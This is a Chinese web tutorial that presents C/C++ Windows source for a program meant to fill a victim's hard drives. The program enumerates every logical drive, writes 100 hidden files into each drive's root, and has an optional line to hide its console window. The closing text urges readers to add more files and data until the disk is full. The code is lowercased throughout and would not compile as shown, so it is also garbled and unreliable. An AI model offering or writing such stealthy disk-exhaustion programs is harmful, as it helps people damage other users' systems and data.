您好,欢迎访问一九零五行业门户网

C/C++轻松写可塞满硬盘的程序

关于写可塞满硬盘的程序
我们先想想思路:
第一步:获取逻辑盘符
第二步:创建文件
第三步:文件写入数据
扩展要求:
一:隐藏窗口
二:文件设置为隐藏属性
下面我们对上述的思路介绍一个api,接受完后给出源代码
getlogicaldrivestrings function
fills a buffer with strings that specify valid drives in the system.
dword winapi getlogicaldrivestrings( _in_ dword nbufferlength, _out_ lptstr lpbuffer );
此函数是把系统里面可用的磁盘读取到lpbuffer里面
成功则返回获取的总长度,
失败有两个情况一个是buffer不够长,一个是其他问题
关于其他的api函数,都比较简单,有些可以从命名意思就知道功能,在此不在介绍,源码中也有注释,
下面看源代码
#include <windows.h> int main() { //freeconsole(); //隐藏控制台 char strdrivestrings[maxbyte] = { 0 }; //获取逻辑地址 dword dwdrivestrlen = getlogicaldrivestringsa(maxbyte, strdrivestrings); for (size_t i = 0; i < dwdrivestrlen; i += 4) //每4个字节表示一个盘符 { char strtargetpath[max_path] = { 0 }, strroot[4] = { 0 }; strncpy_s(strroot,&strdrivestrings[i], 4); strcpy_s(strtargetpath, strroot); //创建100个文件 for (int j = 0; j < 100; j++) { char tempstrtargetpath[max_path]; strcpy_s(tempstrtargetpath, strtargetpath); char filename[maxbyte]; char date[maxbyte] = "11111"; wsprintf(filename, "%d.txt", j); strcat_s(tempstrtargetpath, filename); //创建文件 handle hfile; hfile = createfilea(tempstrtargetpath, generic_write, 0, null, create_always, file_attribute_normal, null); if (hfile == invalid_handle_value) continue; dword pointer; //写入数据 writefile(hfile, &date, strlen(date), &pointer, null); closehandle(hfile); //将s所指向的某一块内存中的前n个 字节的内容全部设置为ch指定的ascii值 memset(filename, 0, sizeof(filename)); //设置为隐藏 setfileattributesa(tempstrtargetpath, file_attribute_hidden); } } return 0; }
把文件浏览属性设置好:
运行结果如下:
如果出现以下问题:
修改字符集如下:
所以大家只要多搞几个文件,多搞点数据,硬盘就会被塞满
以上就是 c/c++轻松写可塞满硬盘的程序的内容。
其它类似信息

推荐信息